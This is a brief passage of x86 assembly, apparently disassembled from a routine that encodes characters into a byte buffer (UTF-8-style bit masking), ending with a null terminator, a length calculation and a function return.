mov byte [ebp + 1], al
and bl, 0x3f
or bl, 0x80
lea ecx, [ebp + 3]
mov byte [ebp + 2], bl
jmp 0x431f90
mov ecx, ebp
jmp 0x431f90
mov byte [ebp], 0
sub ebp, dword [esp + 0x14]
mov eax, ebp
pop esi
pop edi
pop ebx
pop ebp
ret